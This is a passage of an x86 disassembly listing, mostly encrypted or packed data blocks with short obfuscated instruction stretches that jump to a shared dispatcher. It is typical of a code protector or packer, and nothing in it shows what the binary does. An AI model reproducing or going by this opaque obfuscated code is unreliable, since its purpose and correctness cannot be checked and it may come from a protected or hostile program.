		dd 740CAF27h, 0ECA682C8h, 471451F1h, 0F3FE2D90h, 0AE86D8E3h
		dd 4D360FE6h, 7F9421EFh, 0F25313F9h, 0D0FF2751h, 0FEAA11C5h
		dd 94DC84F2h, 0E5D8FFCCh, 6C3772B6h, 0BDE557E5h, 922BA875h
		dd 822E8D45h, 0FEBFB2Ah, 0AFB5FDA1h, 5DFB4094h,	0C592DA02h
		dd 0C564EC12h, 8935884Fh, 6602DA31h, 0F1BE069Eh, 0D72FDBE2h
		dd 1CBB98A8h, 75B3C3A1h, 442E3894h, 10EE36h, 6B548800h
		dd 26973C19h, 0E0DBF7D4h, 9524B18Eh, 4C716643h,	0B9F7C1FAh
		dd 704D9F1Eh, 29065861h, 0E1BE10AFh, 6874C6F5h,	0EEF4DAE0h
		dd 0D08580Ch, 48C512A6h, 0F1E85C42h, 0B0487051h, 6655815Eh
		dd 0C4125B14h, 76434BF7h, 25305F5Ch, 0C094BB1h,	0BB0BF1F7h
		dd 0F71F51F2h, 9C8F9A0h, 90421F71h, 8928A86Ch, 0CA624846h
		dd 0F6C5111Eh, 842F86A4h, 0F39F1AB7h, 0F4626C9Bh, 0E8803B97h
		dd 3910D8A0h, 0CC2EC0B3h, 0E8CE54C7h, 0FC51F20Dh, 1661A5D4h
		dd 6257E528h, 327F3E95h, 64E817A4h, 64479B3Ch, 0ECAF8F7Ah
		dd 848AD27Eh, 55837B4Dh, 9D1EB481h, 16C2EA6Eh, 0ACF49C0Ah
		dd 7DC5F8DFh, 0A47B9177h, 4E7DA555h, 0FD754248h, 1F475B98h
		dd 0EFCC0AD7h, 0C4F9DAA7h, 2EA88595h, 0E1D1AF8Dh, 3A243AF5h
		dd 100A2Ch, 4F706C00h, 0AB320FDh, 0C4F7DBB8h, 79409572h
		dd 308D4A27h, 9D13A5DEh, 5431833Ah, 0DEA3C7Dh, 0C5A2F4CBh
		dd 4C58AA11h, 0EFD8BEC4h, 0F1EC580Ch, 47C4128Ah, 0B763587Ah
		dd 0E7F3D95Fh, 0DF0751F1h, 0CB774492h, 0C693DB73h, 157FAE0Bh
		dd 0ABF39B09h, 0E51566A5h, 6CD9A57h, 4398A2F8h,	28C05360h
		dd 71F5247Ch, 0AD1BF749h, 44B3B901h, 5A5DF964h,	5E408632h
		dd 695E1A45h, 0D5900B47h, 29F2C594h, 2Bh, 0F9A51340h, 5440ABB1h
		dd 264E57E5h, 0F8C711DEh, 0D601CEA6h, 0B4E33BE7h, 6348C70h
		dd 0FAC11558h, 0B20DCBA8h, 0F5DF806h, 134F0000h, 0E9B1F9A5h
		dd 5804B51Ch, 898DD100h, 0D957EAEBh, 0CAA169B1h, 8E7DEDh
		dd 341AA0C3h, 48580D8Ah, 0E6D21B61h, 1BB3551Fh,	9B50ACEh
		dd 0B47C82B1h, 618180DDh, 0E8172C89h, 70C2F9DDh, 0CC784393h
		dd 66AE52C0h, 51803F99h, 0B5DC454Bh, 0FFE65E06h, 0EFFC6CE5h
		dd 2C78CFC2h, 5566C5E9h, 0DDA22BAh, 0C8A0F2C9h,	0B0DFDAFBh
		dd 0DE8A31A5h, 74BC64D2h, 0F8DEE4ACh, 7B5E2891h, 9D3EBCBFh
		dd 375F25B5h, 0A265C408h, 0CD9641Bh, 40C4F3CCh,	5C503A18h
		dd 0CFB93275h, 0EC2C1h,	9728B400h, 526B6845h, 0CAF2300h
		dd 0C1F8DDBAh, 7845926Fh, 0E5CBED26h, 9C79CBF2h, 55328435h
		dd 0DEA3C83h, 94A0F2C9h, 0F120060Ch, 3934580Ch,	0E7F7D9D2h
		dd 0B48151F1h, 646E9D1Eh, 0FC024AF6h, 57EAEA9Bh, 68357DA5h
		dd 3D054D6Eh, 0CF556670h, 580CEBE9h, 96A6D5FDh,	0F29E1DB9h
		dd 80C878E6h, 4EAF0B8h,	18580CECh, 3E7DC1F0h, 0F45E0019h
		dd 0E5A6EECCh, 8D773890h, 0E467Fh, 13AC3000h, 0CEEFE4C1h
		dd 88339F7Ch, 3D7C5936h, 0F4C90EEBh, 614F69A2h,	18F54776h
		dd 0D1AE00B9h, 8966B807h, 101C6E4Dh, 0F19C8288h, 0B5B0580Ch
		dd 0F7C4124Eh, 73983E4Bh, 0F1E8876Dh, 14BE9B51h, 0C1C70FA7h
		dd 51F1E8DBh, 832FC7EFh, 0A03B576Bh, 0FEEDECC5h, 86639h
		dd 71643100h, 0E1DCFB48h, 0C7AEDD35h, 0B1F9A513h, 0EAEC2DABh
		dd 0F1396157h, 7D54B224h, 7552A43Ch, 45125A61h,	73802C93h
		dd 56AE5A65h, 1D258FBEh, 0EB694F55h, 557D580Ch,	0EB00E226h
		dd 1886580Ch, 0DB1A2068h, 915E0018h, 0F8CDB3B9h, 0B9E15E20h
		dd 0F4521762h, 0BC547A54h, 9041C0DEh, 79877138h, 0D8Bh
		dd 7CCEF1EBh, 3789349Fh, 0F143785Ah, 0A6F8C114h, 5DAF0EC9h
		dd 0BB1C9424h, 0FED3B002h, 4C8C69BBh, 92442173h, 43CBD729h
		dd 0CF2573Dh, 9706B58h,	4BF7C412h, 0DB23983Eh, 0E8270D13h
		dd 133B51F1h, 646D7AE4h, 3A9CA955h, 0FF63D581h,	0F2065E43h
		dd 0EE2A3B50h, 0A8D4FEEDh, 0EB000007h, 0F1E7F7D9h, 21B48151h
		dd 0F15F6998h, 41FF054Dh, 0F557EAECh, 1EB885CDh, 9C734B9Dh
		dd 9CEBCE0Ah, 20D3C0Ch,	0D29FE7D4h, 0B30BB704h,	0A00E1A84h
		dd 63A2A8F0h, 195E00F9h, 59513F1h, 0C6B03890h, 0CEAB8h
		dd 6F508C00h, 2A93401Dh, 0E4D7FBD8h, 9920B592h,	506D6A47h
		dd 0BDF3C5FEh, 7451A31Ah, 2D0A5C5Dh, 0E5C214ABh, 6C78CAF1h
		dd 0F2F8DEE4h, 110C580Ch, 0F7C412AAh, 0CCF1E2AFh, 0F8C31320h
		dd 2C121860h, 4051F1E8h, 727FE918h, 93AB5764h, 9DC8C37Fh
		dd 61FEEDEDh, 70Bh, 70498C59h, 563D6CC4h, 0B1F9A513h, 0EAEBE8ABh
		dd 468EB657h, 0C5E5D79h, 6814A72Fh, 0CEC4022h, 0F858C658h
		dd 0CEC0CF2h, 60F82058h, 19D31218h, 61895E00h, 90E52F83h
		dd 32402A38h, 0C53h, 0B406B923h, 6FC1FCD7h, 297B4092h
		dd 0DE30894Ch, 95E7D601h, 83545C5Ch, 0C60BE83Ah, 14C4A1F3h
		dd 5A7C59ABh, 7B030F61h, 0CF38F75h, 41A8A358h, 4BF7C412h
		dd 5F5C7643h, 0AB12530h, 1032465Eh, 0EDEDEA7Bh
		dd 68114FEh, 0D92B0000h, 51F1E7F2h, 0B009AF86h,	57D8DFD8h
		dd 4BB01E28h, 2E86328Dh, 0B9864E96h, 2F73A219h,	57EB048Fh
		dd 0E1C7CD95h, 0F5580D03h, 0F21A9ECDh, 0C2F9DDAAh, 78439370h
		dd 0AE52C0CCh, 50316066h, 7D455E00h, 21309177h,	371D235Eh
		dd 4B5E2131h, 57805D23h, 1B9FCE66h, 0AEA715F3h,	0DCC63890h
		dd 0BA6CEh, 0B30CD000h,	6E4F8461h, 28933F1Ch, 0DDDCF9D6h
		dd 9429AE8Bh, 1AF0942h,	0B895E7D6h, 714EA019h, 29065867h
		dd 0B0BC0EADh, 0F43C2228h, 5550580Ch, 0F7C412EEh, 64983E4Bh
		dd 2FB2DBD1h, 0DFC5CBC6h, 0F351F208h, 0EF9B33CBh, 0C379197Dh
		dd 8960A813h, 0FBB1EC50h, 0E6F6254Ah, 0ED57BDA8h, 12B41FEh
		dd 17580000h, 8834894Ah, 0E0F60130h, 0B4222FDBh, 0E0F2BF07h
		dd 4A4984DBh, 299C899Ah, 0A00EEAFAh, 0FA2A8F0h,	7D57E5A5h
		dd 0D4A1A955h, 488CBB04h, 58068466h, 0FE334F71h, 0D8907927h
		dd 93C20722h, 0D9083E27h, 46C0F8h, 17D70000h, 4957B840h
		dd 295855F8h, 0C50DB11Fh, 1A4E26FDh, 201780A3h,	0EDEAADF1h
		dd 693657E5h, 9C204F6Eh, 0A082C874h, 255806EDh,	53600CB3h
		dd 0E6EC3984h, 32D429D5h, 0A8CA9110h, 0EB74F1EAh, 848AF8D8h
		dd 0A1000000h, 4BF7C412h, 7824993Eh, 0A4506B6Bh, 2A7C3F97h
		dd 0F1342814h, 9625B151h, 0A6FA6844h, 0F213BAA0h, 0E2F1CE51h
		dd 3FD72FDBh, 0C0595FA7h, 2A57E6E9h, 0EAEDBA02h, 0DCA981D3h
		dd 8B96C5F6h, 3393714Ch, 4E3EA916h, 0A6D5664h, 0D3090000h
		dd 16BD9AECh, 5A7855A7h, 0A3320F61h, 0F0E7C416h, 76427BCDh
		dd 0CE209D3Ah, 87D9E0F1h, 3F912EAAh, 0F5477462h, 755B61E9h
		dd 89580CF5h, 0C512278Eh, 0DC9A6F8h, 12A35CAEh,	434BF7C4h
		dd 0CCA15D76h, 0A3851DF9h, 4954831Bh, 0FEDC2E8Dh, 493h
		dd 0FB401755h, 0EFFD8C11h, 36A4AEDDh, 5D3C428Ah, 5357E679h
		dd 360CE32Bh, 1E39D7DBh, 0D81E88B7h, 5806B4F6h,	775E2B01h
		dd 0E73E9642h, 0C4016B20h, 63B5E49Bh, 0A9B9AC27h, 0D8A5F8D9h
		dd 2C92C1FAh, 1ECh, 0E7E0D943h,	168451F1h, 0EFDC22B5h
		dd 2101D099h, 55D09A1h,	905D256Dh, 70C87445h, 0AC57FD41h
		dd 0EEB57EBh, 175FF7C4h, 3B64784Fh, 0A7A7197Dh,	6873595Fh
		dd 5F87580Dh, 0AB12530h, 2FDEF5C2h, 0D684329h, 972F5758h
		dd 5B7B5868h, 3AA8B460h, 19484E96h, 0AF5E00B4h,	4A27A987h
		dd 846E3890h, 97276h, 0E7D80400h, 0A21BB895h, 5C5F7350h
		dd 11A82D0Ah, 0C8F5E2BFh, 357B3D76h, 0ECC91BA2h, 0A582D4E5h
		dd 5D3A8C33h, 0E4F04279h, 0F670565Ch, 8984580Ch, 42C41222h
		dd 0E7932B90h, 13BFFCDAh, 0E71D3DA1h, 3C7ACCEFh, 0FEEDF229h
		dd 13BD5h, 0C412EC00h, 13D8AFF7h, 0D897D468h, 717EE817h
		dd 28045665h, 0ED8757BAh, 0FCF1645Eh, 64451C64h, 0F74FD0Ah
		dd 11171D4Ch, 57E61B7Eh, 0DE9405ECh, 0B47BEC6Dh, 482A701Ch
		dd 5358078Eh, 0EB7A1131h, 13F8D847h, 33h, 0D140172Ah, 2048B2EFh
		dd 319FA9D8h, 27BF00D8h, 316D9DFh, 0BCE457E5h, 2E8CA10h
		dd 0D1F35806h, 0D64B1AB1h, 4613F8D9h, 2B832F8Ch, 0AF96FCh
		dd 12AD0000h, 269342C4h, 0B17E468Eh, 96EE9A21h,	0F1E82A10h
		dd 0E7163E51h, 5667707Dh, 82399DAAh, 1368633Ah,	196F9F39h
		dd 637380EAh, 612E0658h, 469E4A71h, 64D7D317h, 0B88551F1h
		dd 6772A11Ah, 22FA4C6Fh, 456E545Ah, 0D8FB51F2h,	1BE139E5h
		dd 4CBAC4F3h, 0BD565CA4h, 2757E71Ah, 22EFB7FFh,	35B07B4h
		dd 0AF0EC9D4h, 6657805Dh, 0A8E55288h, 5F6D573Eh, 837h
		dd 0D0229D3Fh, 8BDDE0F3h, 459724AEh, 0FA4C6D68h, 0B103BA1Dh
		dd 67704078h, 0AA270456h, 0F8E0BD0Fh, 3E9875C7h, 971F2B7Dh
		dd 0CF7AB91h, 5DC4BF58h, 0A6F8C512h, 5CAE0DC9h,	0F7C412A3h
		dd 23983E4Bh, 0F6C30EDBh, 64D9B7C7h, 30000002h,	0B1F9A513h
		dd 0EAEBABABh, 83CBF357h, 0EBCFB5BBh, 0BBE3580Ch, 0FADC228Ch
		dd 5580CEBh, 392CA7E3h,	0C5F8D2EEh, 201h, 0D4E5F0BDh, 0BAA1D028h
		dd 0F1E7E0D9h, 6A168451h, 0EC141C22h, 345C57EAh, 4B71FECh
		dd 0BA01D5B2h, 0AD2F060Eh, 0F56B3477h, 174697FCh, 2DD795C0h
		dd 1AF9DFE5h, 0E50D580Dh, 923EACB6h, 1DB5824Ah,	6B9AF29Eh
		dd 66F827h, 88668E5Eh, 3890985Ch, 6C697761h, 0A000007h
		dd 0BE9BEDD2h, 7956A815h, 33106259h, 0E8C517A2h, 437CCEEFh
		dd 219C3B75h, 0DADFF2CFh, 922DAB88h, 48736340h,	5C62EAF6h
		dd 580CF876h, 12288F8Ah, 3E4BF7C4h, 6A772398h, 843B9D67h
		dd 3CE880D8h, 6814A72Fh, 0F1F092F6h, 775A273Fh,	0E7A68C92h
		dd 92BA51F1h, 0C6ACB2FAh, 0DA51F1E7h, 113183B2h, 6EC0FBDBh
		dd 0EDF23530h, 13BC9FEh, 17E00000h, 534894Ah, 3420DCFAh
		dd 74700D84h, 1F2CD870h, 0EFBC04B7h, 0D52DD9E4h, 4CBA96A6h
		dd 0C3565CA4h, 3157E54Ch, 2C6D5359h, 59815806h,	400D15C1h
		dd 0B5F92891h, 58062BD3h, 59EBCDEh, 0F8D9A960h,	359Eh
		dd 0A513B500h, 7D299244h, 3F458D25h, 57E5037Ch,	6E76224Ah
		dd 0E9AC0897h, 9CB744DAh, 0FDBD14BEh, 0D01443A9h, 58062EEEh
		dd 20BBD7F9h, 0F8D9AB45h, 9FB9h, 0C412D000h, 0F4E2AFF7h
		dd 5EF6C312h, 0C12B5AB2h, 0EE9A23B4h, 225F0FE6h, 0A7640B86h
		dd 52696D78h, 7E3D99A6h, 250A162Ch, 3D351F2h, 1C8A66B8h
		dd 35552C74h, 0B6DBECB3h, 7E464C7Bh, 0EC9827B1h, 88216594h
		dd 0F257E7F3h, 0D6A9370Bh, 0DF77F8FBh, 0B00DCA97h, 6756815Eh
		dd 0A7FF6589h, 74826C3Eh, 61Fh,	0E83A8557h, 0A3F5C80Bh
		dd 5DAF0CC6h, 12645580h, 0C91BA235h, 4F882890h,	923F1C6Eh
		dd 0E0F8D527h, 26B08DDFh, 0AF374395h, 0CF9C3A9h, 75DCD758h
		dd 0A6F8C512h, 0D8F90DC9h, 3EF749E1h, 0AFF7C412h, 0E7FBE1E7h
		dd 0E70F51F1h, 6F464EB8h, 0B7D2E613h, 0F90433F4h, 0AE8CDEDDh
		dd 3Bh,	0F7C41205h, 23983E4Bh, 4F6C6A77h, 7D4296A3h, 0B8DA7CD1h
		dd 0A36B8339h, 0F1E7B79Dh, 74A3CB51h, 0ACC6022h, 34E0D9FCh
		dd 1AF244DCh, 5181854Dh, 0CE66BE6Ah, 17939Fh, 12EA0000h
		dd 54BF7C4h, 51F1E822h,	36CE8CB0h, 0F1C91BA0h, 0DC0BB424h
		dd 0F7C412F5h, 2DD13F4Bh, 0EBDBDFE5h, 0DCA957EAh, 1296C5F6h
		dd 0DDAA2EAh, 0F149F5C4h, 9C1FB7C2h, 52696D4Ah,	842C9AA6h
		dd 0B027653Ch, 1E1EDDFAh, 1B72116Eh, 0D90813E8h, 0D664CDD3h
		dd 1FEC5E06h, 55D908B3h, 0B15D5E78h, 0F0C90C59h, 93431058h
		dd 1218E028h, 5E28D72Ch, 0D9E91840h, 2B31DAFCh,	5E28D745h
		dd 0CB805D2h, 6FC6EEB4h, 0BF9FDE46h, 1AD45BEh, 8FD787F5h
		dd 1B6A2A89h, 0F7C79E64h, 0C99A8EA5h, 7653D706h, 5CB4605Dh
		dd 61F9C40Fh, 754E7583h, 78867032h, 4D7h, 30823D9Fh, 0EB3D8053h
		dd 0A5F7C40Eh, 5AAC0DC8h, 11635A7Dh, 7D0E0D8h, 4A8764B6h
		dd 98401D6Fh, 0DEF8D527h, 0F77F8BDDh, 0CFB0BF1h, 0BD241F58h
		dd 0A5F7C412h, 65AD0EC8h, 0D17D3E98h, 0D3E04A79h, 0A870B803h
		dd 0F1E7BCA2h, 79A8D051h, 0BD859D0Fh, 0F1E7D1B7h, 8EBDE551h
		dd 0F0E61E3Ch, 2A3B79CBh, 0D4FEEDF2h, 4Bh, 0F9A513EBh
		dd 0CDEEE4B1h, 949AC921h, 0E554238Eh, 0F0E2AF57h, 98C71FCBh
		dd 0D7A4EC14h, 566CBE01h, 58063572h, 1AA53300h,	0DCE7166Eh
		dd 250B11FAh, 39580635h, 4F277911h, 349B8187h, 87AF5806h
		dd 348B4D58h, 4257A88h,	17D10000h, 1A8B4940h, 7EADDD0Dh
		dd 0AC586373h, 0CED4379Fh, 51F293E8h
		dd 0EA3CD4FCh, 98734A12h, 8C5491Fh, 0CEF7DD63h,	838951F2h
		dd 51F2CE9Dh, 9BC389B1h, 4CF4626Ch, 206BFE04h, 0B1D957E6h
		dd 0A730FD05h, 0E3126A16h, 6FFBD9Fh, 27944258h,	58656E7Bh
		dd 0D00754ACh, 67CB41EDh, 0DDFFC62Bh, 0D63F26BDh, 3CBFF8D8h
		dd 0D6000000h, 32874A17h, 338BF903h, 3E437D5Ch,	8D13E38Fh
		dd 51F2E5A7h, 0B3FB93BBh, 0E600EAADh, 0F8DBB857h, 3B812DC5h
		dd 58070159h, 8B004264h, 0F8D8D8DAh, 9D20B784h,	0C4086Eh
		dd 121F0000h, 5B4147C4h, 6F51F1E8h, 0E7AB9197h,	97BF51F1h
		dd 0AEBB67FFh, 0DBE89429h, 714C0FBh, 849AECCFh,	51F1ECA8h
		dd 0A4F6C511h, 0E4D7FFCCh, 0A6B1E038h, 0D3DF8B30h, 6B71B965h
		dd 57E53DC8h, 19E62E56h, 0C0D0FFBEh, 82CA76E4h,	0FAF4F97Ch
		dd 0D9F8C55Dh, 52DB1E0h, 24E5F0BDh, 1CD4381Eh, 8C244C5Eh
		dd 4D8A575Dh, 7D5B2870h, 26031342h, 0D42E0CB1h,	2538950Bh
		dd 3052D3Bh, 6B710000h,	0AE250254h, 0F2E0BD0Fh,	3B9A77C9h
		dd 884F2C7Eh, 0EAAE335h, 368835A2h, 0EF417859h,	0A7F9C612h
		dd 5DAF0CCAh, 0DDC3C951h, 0F1580CFCh, 0C5128FF6h, 7F2B8E43h
		dd 7F478F27h, 0F1E79379h, 507FA751h, 48736340h,	0A5133DF6h
		dd 7FC8E23Ah, 851DF087h, 1374373Dh, 0F3C057E5h,	63F21BE5h
		dd 904E1033h, 0C5F44CF8h, 276D1941h, 5805FD45h,	776C2E50h
		dd 0F8D9DCEEh, 8934A370h, 0ECF45Ah, 1FEC0000h, 15905B8h
		dd 4F17EBD2h, 0F1E86349h, 3D9A7751h, 0E47CD480h, 0D02CAAB5h
		dd 10C229EFh, 50A7FFABh, 6E35FA6Ch, 45CE03FDh, 2AE46DEh
		dd 2FDBE2F5h, 0F2070DE9h, 0A6607651h, 8CE4902Dh, 11C5A2F4h
		dd 84F2FEAAh, 0F5CC94DCh, 0BCBEC16h, 0DF3F9A2h,	2151F229h
		dd 0BE1461F9h, 0CAF951FDh, 0E579E386h, 2C8A7157h, 0C1FCD71Bh
		dd 15EF756Ah, 7C532B7Dh, 0B5D46413h, 997F85D6h,	0AD580675h
		dd 31A0ED85h, 5584DC88h, 0E931DD4Bh, 0FB49BFE3h, 0DF274F5Dh
		dd 0A6F8C512h, 0D1AF0EC9h, 3894B53Bh, 0E0DAE8D2h, 96000001h
		dd 4A277946h, 5E23489h,	0BF9CEECDh, 7451A316h, 0CF085A63h
		dd 0AD10C7E9h, 66537E5Bh, 1EA13714h, 0D4E7EFCCh, 0E8EE7682h
		dd 580CFE02h, 17B41B16h, 0E728E4Ah, 42EDDBA4h, 0EF47F38Bh
		dd 9B22B5C0h, 516A6C49h, 0C41246FFh, 983E4BF7h,	31F9D123h
		dd 0F1E8452Bh, 0DA315951h, 707778BAh, 0F601305Ch, 0BC93DBE0h
		dd 52EA0C09h, 52383EA8h, 6651F220h, 0D77A63Eh, 9C369301h
		dd 656B731Fh, 51F2207Fh, 3BD36B93h, 4002EDF3h, 0C68E57E5h
		dd 63FDAC0h, 0DD07EE58h, 7305348Ch, 5ADE0DA5h, 8F318632h
		dd 6E9D39F3h, 61A8268h,	0F9C40F58h, 6F555B33h, 8358061Ah
		dd 0D92BC35Bh, 97DF8FFDh, 0F9666E91h, 28D4FC5Dh, 8B4BBB1Bh
		dd 767C8430h, 5E1A4690h, 4CE47CA4h, 84C62AA0h, 135B0371h
		dd 0D93EA0Dh, 0FE507864h, 0BE06B521h, 740AF0F6h, 0F61E642Eh
		dd 88505DC7h, 94368B37h, 23983EF6h, 0D787F5D1h,	0A916C28Fh
		dd 7076A5FDh, 21947F6Ah, 1D658D6Ah, 35305646h, 166E1AA1h
		dd 0E2C942BFh, 9A3C49B3h, 0B850696Ch, 7515B70Ch, 66AE52C0h
		dd 0B504D19Eh, 0E0D9FC09h, 0EAD51948h, 0F870359Eh, 34A27ED0h
		dd 5E77448Ch, 9EBFA5ABh, 0ABD37056h, 0E00F6713h, 0A17FD4DAh
		dd 4971764Fh, 7546909Dh, 537E4B23h, 3362BA66h, 610DAE28h
		dd 20A08259h, 0DA318C4Bh, 0E1F2CA0Bh, 0D11544DCh, 8E4A075Dh
		dd 43EFCC06h, 711DA236h, 0B10ACC19h, 4C0EB005h,	3753B76Dh
		dd 90E2D9FDh, 509823B3h, 0C06C4F83h, 0E5CCB2B8h, 0B8E0AEABh
		dd 7A87F120h, 0C2A8AE5Bh, 4FAEABE5h, 348C3883h,	2AE466Eh
		dd 0B54F0BADh, 6B489A21h, 413A916Bh, 2B4395E7h,	10D9E793h
		dd 11000000h, 65567C49h, 0AB88F9DFh, 0B6E50DAEh, 127DE4CFh
		dd 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh,	0F2FFAB12h
		dd 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h, 81E28952h
		dd 4C2h, 4EA8300h, 31241433h, 14332414h, 0D9685C24h, 89000064h
; ---------------------------------------------------------------------------
		adc	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 75862EBEh
		shr	esi, 1
		add	esi, 71F04C96h
		xor	esi, 0AAA866F3h
		mov	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		pop	dword ptr [edi+8]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		fndisi
		push	0FFFFFFB8h
		mov	[eax], ebx
		sbb	eax, [esi]
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 52h,	73h, 0DEh
		dd 95C42B02h, 0F226FC66h, 6E0BA671h, 7F452E7Bh,	0DFF5F66Bh
		dd 0D1421908h, 665DB95Dh, 3ACC0802h, 1787D614h,	0EB1013h
		dd 59F79E73h, 7116451Fh, 0E2D23A2Bh, 0A1288F7Fh, 4871F763h
		dd 0C7843A4Fh, 4DFE5917h, 7EAA0E7Bh, 0A0379444h, 5CC6B329h
		dd 5E87Ah, 882E0000h, 8B5C2444h, 81F85ECBh, 5B1AC6h, 5E900h
		dd 0DE210000h, 33AF8643h, 8E8DBh, 0D1960000h, 11C11FA1h
		dd 0FE9D567h, 0F6000000h, 44BE2D0Dh, 2AFE02h, 0D262860Ch
		dd 0FF5802ABh, 815F3334h, 1F3BBBEFh, 0EF81F55Ah, 0BE943C9h
		dd 0F781B2B2h, 2452A450h, 665760B4h, 48FCE8Bh, 12B7B91Eh
		dd 8B662346h, 0DFEB81C7h, 8132619Dh, 7CFFC7C0h,	0DBC38110h
		dd 0BA32619Dh, 355D384Eh, 0A570FB81h, 850FFFFFh, 0FFFFFFB3h
		dd 1B01BA66h, 0DE8h, 2CAD3100h,	4D64CB70h, 238199BCh, 0BF0F8F86h
		dd 0BE665BF3h, 0C381DE5Dh, 5A0Ch, 5E6392BEh, 1656BA72h
		dd 0C0800000h, 0E93B8BCFh, 8, 5EE187D9h, 60F89E4Dh, 0CF09C781h
		dd 0C781301Bh, 7DCBFE4Ah, 0BC88166h, 0C5EF81D5h, 0E9449A12h
		dd 0Ch,	70155674h, 0D7BCE37Ah, 0FD99D02Dh, 0BF0F3B89h
		dd 0C3EB81C0h, 0FC17ABCAh, 0CABFC381h, 0EE917ABh, 0C3000000h
		dd 3F4C4EA8h, 53C1D1B6h, 771AC9B5h, 1EA810Eh, 0F000000h
		dd 0E85h, 31B96600h, 1FE9CAh, 0AD8F0000h, 0B03243EAh, 0FF83E94Fh
		dd 0D263FFFFh, 53080C02h, 72FA1032h, 0F2C6C4F8h, 7798089Bh
		dd 3F8D8D7Ch, 0F061B1Bh, 8D89C3BFh, 6143229h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 39C35242h, 2B7DFB62h
		dd 0D20F0671h, 30D9B531h, 85C70614h, 614064Dh, 5EA4h, 0E9EB8166h
		dd 7185C711h, 61426h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0E3A6C351h,	0F81CCB48h
		dd 2E91B5FFh, 76B20614h, 236195FFh, 6AF80614h, 6995FF00h
		dd 8B061411h, 0D10BEBC0h, 2E05A293h, 0A109449Bh, 19E952E7h
		dd 0C1000000h, 6B227Fh,	5 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5BABDF
; ---------------------------------------------------------------------------
		push	61B1CAEh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	61B1D17h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	61B1E4Eh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		db 0A2h
		dd 5633853Ah, 11EE407Dh, 0CBA8FAC1h, 805DAF0Ah,	0DB146657h
		dd 0B904D3DDh, 72478A67h, 2A954320h, 0E0DBFBD8h, 0F4FA828Eh
		dd 580D030Eh, 0D4A12722h, 0B70FBB04h, 4F17A188h, 0F1E86349h
		dd 204F7751h, 8D46C215h, 83509830h, 85F1AA54h, 73D9F752h
		dd 0A8D72FDBh, 16A5313Eh, 0D67AE8C4h, 0A716C18Eh, 0A073595Fh
		dd 5F8751F2h, 65242A30h, 9957E5D5h, 84B30CCCh, 0C390D800h
		dd 0A3FBA712h, 0E2C40A74h, 0ED5806B4h, 0E5584017h, 0F028D029h
		dd 1ED36FC1h, 9F6A5056h, 567E5806h, 3AAABB27h, 0A354F8D9h
		dd 6B000002h, 0AD26BD1h, 0F1E81E04h, 0DB0A3251h, 73BB63D1h
		dd 0C6F3DEABh, 2085397h, 875457E5h, 0BD41704Bh,	35A0F495h
		dd 0BDB52868h, 0C8B7E04Fh, 0D783389Ah, 0A64E287Fh, 1B81966h
		dd 1D65FD55h, 5E51F017h, 0B25E865Bh, 408838A6h,	912CAB78h
		dd 6D291E62h, 335B6172h, 44B81EEBh, 0AA2BF540h,	8F20B80Fh
		dd 0BE96E880h, 29D5E4F1h, 3F97A2D1h, 0B3E49E7Ch, 2B15351Eh
		dd 2AA1Dh, 0A31CC000h, 5E5F7451h, 18A32F0Ch, 0CDECE9C6h
		dd 84399E7Bh, 0F1BFF932h, 0A885D7E6h, 613E9029h, 19F64877h
		dd 0A0ACFEBDh, 42C1218h, 4540580Dh, 0F9A513DEh,	261ABB1h
		dd 52D57EAh, 0D6E7F0BDh, 0DD30A784h, 0D02F1D7h,	45DD0558h
		dd 0F37A26FDh, 3A03BAD7h, 7A5BA10Bh, 0FD580DC9h, 8804E2D9h
		dd 853EA42Dh, 2418D9Bh,	0B3290000h, 0F6DDBA0Ch,	3A9875C7h
		dd 83522F81h, 0D007E436h, 56629BEDh, 0EE407D5Ah, 0A7F9C011h
		dd 5FB10ECAh, 15675482h, 957B8109h, 0A9580D04h,	0A51347AEh
		dd 61ABB1F9h, 2D57EA02h, 0E2F0BD05h, 0FA40AAD9h, 580D0318h
		dd 4A410123h, 0F8D2D31Bh, 16DE3h, 0C412FA00h, 983E4BF7h
		dd 87F5D123h, 0F6898FD7h, 6457E538h, 684A903Ch,	73580618h
		dd 0CB9A3151h, 33F8D9BDh, 48h, 8299542Bh, 0F6850F4Ah, 1645DDE2h
		dd 8C4A172Fh, 0FBE1E72Fh, 0F51F1E7h, 40AEB8E7h,	7F424890h
		dd 4D57E503h, 51337925h, 5C580603h, 0E283183Ah,	7CF8D9D6h
		dd 0EC8AEB4h, 0B4DC5806h, 0C11F85h, 4A170000h, 1D043388h
		dd 9442C412h, 0FF162668h, 0ED85E43Fh, 6A092A41h, 0AEC012EAh
		dd 5F367E16h, 50816FAEh, 0E65BD69h, 1948FB58h, 8835A2AFh
		dd 0FF07CFDCh, 4C3238D3h, 6051F2E0h, 9CF4A038h,	8B4B5804h
		dd 0CC64577Bh, 0E5A4647Ah, 0F1E551F2h, 2E9C78CAh, 8B40BCDh
		dd 0CAD018B0h, 57E7BA31h, 5E2B739Bh, 94468579h,	66C9469Bh
		dd 389F7CCEh, 65EFA785h, 48323EA8h, 10A3Ah, 437C6000h
		dd 0FEBF14F1h, 0B803CFACh, 6D4C8966h, 24993E1Bh, 911F99D2h
		dd 48257746h, 1DE3089h,	0B996E8D7h, 404C9E1Dh, 5CCB2B8h
		dd 0E5E0580Dh, 894A177Eh, 0DDFA0534h, 7A12AD2Bh, 7B8B4B28h
		dd 5EB6625Dh, 12BB74C6h, 3E4BF7C4h, 0F9D12398h,	6511AA2Ch
		dd 0A718C00Dh, 6A74A3FBh, 60C54FCh, 57E5549Bh, 0B009CCA9h
		dd 0D403D018h, 9F8197E9h, 24580635h, 0EAC109B2h, 70E7410Ah
